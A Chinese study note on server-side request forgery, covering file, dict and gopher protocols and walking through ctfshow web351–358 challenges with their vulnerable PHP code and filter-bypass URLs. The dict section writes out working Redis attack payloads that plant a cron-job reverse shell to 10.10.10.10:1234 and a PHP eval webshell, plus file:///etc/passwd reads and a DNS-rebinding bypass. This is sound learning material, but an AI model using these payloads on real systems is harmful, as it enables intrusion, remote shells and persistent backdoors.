ssrf漏洞学习

目录

ssrf漏洞

相关函数

相关协议

file协议

dict协议

gopher协议

[ctfshow ssrf](#ctfshow ssrf)

web351

web352

web353

web354过滤01

web355五位长度

[web356 三位长度](#web356 三位长度)

[web357 DNS重定向](#web357 DNS重定向)

[web358 正则](#web358 正则)


ssrf漏洞

SSRF(Server-Side Request Forgery,服务器端请求伪造),漏洞形成的原因主要是服务器端所提供的接口中包含了所要请求内容的URL参数,并且未对客户端所传输过来的URL参数进行过滤,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。因此存在SSRF漏洞的服务器通常被作为跳板机来取得外网或内网其它应用服务器的信息。

数据流:攻击者----->服务器---->目标地址

根据后台使用的函数的不同,对应的影响和利用方法又有不一样

相关函数

PHP中下面函数的使用不当会导致SSRF:

file get contents()
fsockopen()
curl exec()

相关协议

file协议

file协议主要用于读取服务器本地文件,访问本地的静态资源

**file协议数据格式:**file://文件绝对路径名

file:///etc/passwd
file:///var/www/html/index.php
file:///usr/local/apache-tomcat/conf/server.xml

dict协议

dict协议一般常用来探测内网主机以及端口开放情况,既然能够探测端口,那么可以探测不同端口对应的服务的指纹信息。当然dict协议也可以用来执行一些服务的命令,如redis

内网主机探测

开放端口探测

端口服务指纹探测

执行命令

注意:dict执行命令多行操作的命令时,只能一次执行单行,需分多次执行。

dict协议数据格式

ditc://ip:port

ditc://ip:port/命令

例如:

    一、dict协议探测端口和服务指纹
    dict://127.0.0.1:22
    dict://172.22.10.10:3306
    dict://127.0.0.1:6379/info
     
     
    二、dict协议攻击redis,写入定时任务,进行反弹shell
    centos系统定时任务的路径为:/var/spool/cron
    debian系统定时任务的路径为:/var/spool/cron/crontabs
     
    dict://127.0.0.1:6379/config:set:dbfilename:root
    dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
    dict://127.0.0.1:6379/set:test:"\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.10.10.10/1234 0>&1\n\n"
    dict://127.0.0.1:6379/save
     
    注意:若payload存在被转义或过滤的情况,可利用16进制写入内容
    dict://127.0.0.1:6379/set:test:"\n\n\x2a/1\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/10.10.10.10/1234\x200\x3e\x261\n\n"
     
     
    三、dict协议攻击redis,写入webshell
    dict://127.0.0.1:6379/config:set:dbfilename:test.php
    dict://127.0.0.1:6379/config:set:dir:/var/www/html
    dict://127.0.0.1:6379/set:test:"\n\n<?php @eval($_POST[x]);?>\n\n"
    dict://127.0.0.1:6379/save
     
    若存在过滤, 则利用16进制内容写入:
    dict://127.0.0.1:6379/set:test:"\n\n\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x78\x5d\x29\x3b\x3f\x3e\n\n"
     
     
    四、dict协议攻击redis,写入ssh公钥
    操作和写入定时任务相似

gopher协议

gopher协议在ssrf的利用中一般用来攻击redis,mysql,fastcgi,smtp等服务。

gopher协议数据格式:

gopher://ip:port/_TCP/IP数据流

注意:

gopher协议数据流中,url编码使用%0d%0a替换字符串中的回车换行

数据流末尾使用%0d%0a代表消息结束

ctfshow ssrf

web351

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);//初始化 cURL 会话
curl_setopt($ch, CURLOPT_HEADER, 0);//启用时会将头文件的信息作为数据流输出。
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
$result=curl_exec($ch);//执行 cURL 会话
curl_close($ch);//关闭 cURL 会话
echo ($result);
?>

post传参

url=http://127.0.0.1/flag.php

web352

过滤了localhost和127.0.0

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);  //解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

post传参:

url=http://127.0.0.1/flag.php

web353

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

进制转化

127.0.0.1  进制转化
十进制整数:url=http://2130706433/flag.php
十六进制:url=http://0x7F.0.0.1/flag.php
八进制:url=http://0177.0.0.1/flag.php
十六进制整数:url=http://0x7F000001/flag.php


url=http://127.1/flag.php

web354过滤01

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

过滤01

使用 http://sudo.cc,这个域名就是指向127.0.0.1

url=http://sudo.cc/flag.php

web355五位长度

多了一个限制让host位数小于5:

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

# 0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0

url=http://127.1/flag.php
url=http://0/flag.php

web356 三位长度

host限制长度三位

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> 

url=http://0/flag.php

web357 DNS重定向

gethostbyname 返回主机名对应的 IPv4地址

filter_var()

# php filter函数
filter_var()	获取一个变量,并进行过滤
filter_var_array()	获取多个变量,并进行过滤
......
# PHP 过滤器
FILTER_VALIDATE_IP	把值作为 IP 地址来验证,只限 IPv4 或 IPv6 或 不是来自私有或者保留的范围
FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255)
FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334)
FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。

因为代码中使用了 gethostbyname 获取了真实 IP 地址,所以域名指向方法不能再使用,可以使用 302 跳转方法和 dns rebinding 方法

浅谈DNS重绑定漏洞 - 知乎

DNS rebinding(DNS重新绑定攻击)

攻击重点在于DNS服务能够在两次DNS查询中返回不用的IP地址,第一次是真正的IP,第二次是攻击目标IP地址,甚至可以通过这种攻击方法绕过同源策略

回到题目,在题目代码中一共对域名进行了两次请求,第一次是 gethostbyname 方法,第二次则是 file_get_contents 文件读取,可以通过 ceye.io 来实现攻击,DNS Rebinding 中设置两个 IP,一个是 127.0.0.1 另一个是随便可以访问的 IP

1、在自己服务器上写个a.php文件内容如下

<?php
header("Location:http://127.0.0.1/flag.php"); 

2、在这个网站注册一个账号http://ceye.io/,然后会给你分配一个域名,修改成如下的内容,第一个随便天填,第二个写

post:

http://r.xxxxxx/flag.php xxx为分给你的域名

# 注意前边要加上r.
# 多次尝试

web358 正则

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

url 字符串要以 http://ctf开头,show结尾

payload:
url=http://ctf.@127.0.0.1/flag.php#show
url=http://ctf.@127.0.0.1/flag.php?show
相关推荐
JaneJiazhao4 分钟前
HTTPSOK:SSL/TLS证书自动续期工具
服务器·网络协议·ssl
JaneJiazhao5 分钟前
HTTPSOK:智能SSL证书管理的新选择
网络·网络协议·ssl
CXDNW6 分钟前
【网络面试篇】HTTP(2)(笔记)——http、https、http1.1、http2.0
网络·笔记·http·面试·https·http2.0
使者大牙6 分钟前
【大语言模型学习笔记】第一篇:LLM大规模语言模型介绍
笔记·学习·语言模型
As977_28 分钟前
前端学习Day12 CSS盒子的定位(相对定位篇“附练习”)
前端·css·学习
ajsbxi31 分钟前
苍穹外卖学习记录
java·笔记·后端·学习·nginx·spring·servlet
Rattenking32 分钟前
React 源码学习01 ---- React.Children.map 的实现与应用
javascript·学习·react.js
萨格拉斯救世主1 小时前
戴尔R930服务器增加 Intel X710-DA2双万兆光口含模块
运维·服务器
无所谓จุ๊บ1 小时前
树莓派开发相关知识十 -小试服务器
服务器·网络·树莓派
Jtti1 小时前
Windows系统服务器怎么设置远程连接?详细步骤
运维·服务器·windows